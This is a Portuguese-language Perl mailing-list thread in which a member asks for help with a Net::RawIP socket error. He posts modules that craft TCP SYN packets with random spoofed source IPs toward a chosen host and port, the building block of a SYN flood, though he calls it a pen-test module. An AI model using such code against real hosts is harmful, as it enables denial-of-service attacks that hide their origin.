<html>
<head>
<style><!--
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
font-size: 10pt;
font-family:Tahoma
}
--></style></head>
<body class='hmmessage'><div dir='ltr'>
Gabriel Vieira, se conseguisse ter acesso ao meu pc vc seria uns dos hacker mais fodoes do mundo, mas mesmo assim não iria conseguir nada de interessante,<br>pois não logo nem guardo arquivos no HD.... XD, se fizer isso, faz um favor pra mim, formata ele pois estou com preguissa de fazer isso, instala ou Ubuntu ou Mandriva com <br>dual boot com W7. LOL<br><br>Lorn, meu codigo esta totalmente aos pedaços, pois não to desenvolvendo um Syn Flood para brincar de Anonymous, estou desenvolvendo um sistema de pen-test,<br>mas essa é so a primeira etapa. Ou seja, dividi em modulos.<br>Mas ai vai...<br><br>###########__Packs.pm__#############<br><br>package Packs;<br><br>use common::sense;<br>use Net::RawIP;<br>use Packs::PacksSize;<br>use Packs::RandonIp;<br><br>sub new {<br> my $class = shift;<br> <br> my $self = {};<br> $self->{TARGET} = undef;<br> $self->{PORT} = undef;<br> <br> bless ($self, $class);<br> return $self;<br>}<br><br>sub target{<br> my $self = shift;<br> $self->{TARGET} = shift if @_;<br> return $self->{TARGET}<br>}<br><br>sub port {<br> my $self = shift;<br> $self->{PORT} = shift if @_;<br> return $self->{PORT};<br>}<br><br>sub send{<br> my $ip = RandonIp->new; <br> my $size = PacksSize->new;<br> my $n = Net::RawIP->new({<br> ip => {<br> saddr => $ip,<br> daddr => &target,<br> },<br> tcp => {<br> source => $size,<br> dest => &port,<br> psh => 1,<br> syn => 1,<br> },<br> });<br> $n->send;<br> return $n;<br>}<br><br><br>1;<br><br>#################################<br><br>** Dentro de uma pasta chamada Packs:<br><br>##########__RandonIp.pm__###########<br>
package Packs::RandonIp;<br><br>use common::sense;<br><br>#create random ip<br>sub new {<br> my $ip = join (".", map int rand (256), 1..4);<br> return $ip; <br>}<br><br>1;<br>
<br>
#################################<br><br>##########__PacksSize.pm__###########<br>
package Packs::PacksSize; <br><br>use common::sense;<br><br>sub new {<br> my $pac = int rand(65500) + 1;<br> return $pac;<br>}<br><br>1;<br><br>
<br>
#################################<br><br>** Script teste:<br><br>############__teste.pl__#############<br>
use common::sense;<br>use Packs;<br><br>for (1..4){<br> <br> my $p = Packs->new();<br> $p->target($ARGV[0]);<br> $p->port($ARGV[1]);<br> $p->send;<br>}<br><br>
#################################<br><br>Nomes não são definitivos, mas ai esta a parte problemática.<br><br><div><div id="SkyDrivePlaceholder"></div><hr id="stopSpelling">Date: Fri, 20 Apr 2012 16:41:06 -0300<br>From: lorn@lornlab.org<br>To: rio-pm@pm.org<br>Subject: Re: [Rio-pm] Problemas com rawsocket<br><br><div>15:40 -!- Topic for #rio-pm: Rio.PM | Cartilha "Ao Novo Perl Hacker" in the works! thread: <a href="http://bit.ly/HGuOy5" target="_blank">http://bit.ly/HGuOy5</a> dashboard: <a href="http://bit.ly/HbiuXt" target="_blank">http://bit.ly/HbiuXt</a> | **********MEUS FILHOS BEM VINDOS AO RIO GENTILEZA GERA GENTILEZA AMORRR BELEZA PERFEIÇÃO BONDADE E RIQUEZA*******</div>
<div><br></div><div>Aurelio, nós mande seu código para que possar entender melhor e tentar te ajudar :)</div><br><div class="ecxgmail_quote">2012/4/20 Gabriel Vieira <span dir="ltr"><<a href="mailto:gabriel.vieira@gmail.com">gabriel.vieira@gmail.com</a>></span><br>
<blockquote class="ecxgmail_quote" style="border-left:1px #ccc solid;padding-left:1ex">Aguarda 1 min que to tentando ter acesso aos arquivos no teu computador...<div><br></div><div>Se quiser pode enviar o código que você está usando para fazer essa chamada, já me poupa esse trabalho..</div>
<div><br></div><div>
Abraços,<br><br><div class="ecxgmail_quote">2012/4/20 Aureliano Guedes <span dir="ltr"><<a href="mailto:guedes_1000@hotmail.com">guedes_1000@hotmail.com</a>></span><br><blockquote class="ecxgmail_quote" style="border-left:1px #ccc solid;padding-left:1ex">
<div><div class="h5">
<div><div dir="ltr">
Bom dia, <br>Monges.<br><br>Estou com um problema com o Net::RawIP.<br>Desenvolvi um modulo (uma parte) e quando executo me retorna esse erro:<br><br>socket problems [fatal] at usr/lib/perl5/Net/RawIP.pm line 620, <> line 1.<br>
<br>Eu dei uma lida no modulo e aparentemente não há problemas nenhum com ele em si.<br><br>Alguem teria uma ideia do que possa ser??<br><br>Desde já grato. <br><br>Att, <br>Aureliano Guedes<br> </div></div>
<br></div></div>_______________________________________________<br>
Rio-pm mailing list<br>
<a href="mailto:Rio-pm@pm.org">Rio-pm@pm.org</a><br>
<a href="http://mail.pm.org/mailman/listinfo/rio-pm" target="_blank">http://mail.pm.org/mailman/listinfo/rio-pm</a><span class="ecxHOEnZb"><font color="#888888"><br></font></span></blockquote></div><span class="ecxHOEnZb"><font color="#888888"><br>
<br clear="all"><div><br></div>-- <br>Gabriel Vieira<br>
</font></span></div>
<br>_______________________________________________<br>
Rio-pm mailing list<br>
<a href="mailto:Rio-pm@pm.org">Rio-pm@pm.org</a><br>
<a href="http://mail.pm.org/mailman/listinfo/rio-pm" target="_blank">http://mail.pm.org/mailman/listinfo/rio-pm</a><br></blockquote></div><br>
<br>_______________________________________________
Rio-pm mailing list
Rio-pm@pm.org
http://mail.pm.org/mailman/listinfo/rio-pm</div> </div></body>
</html>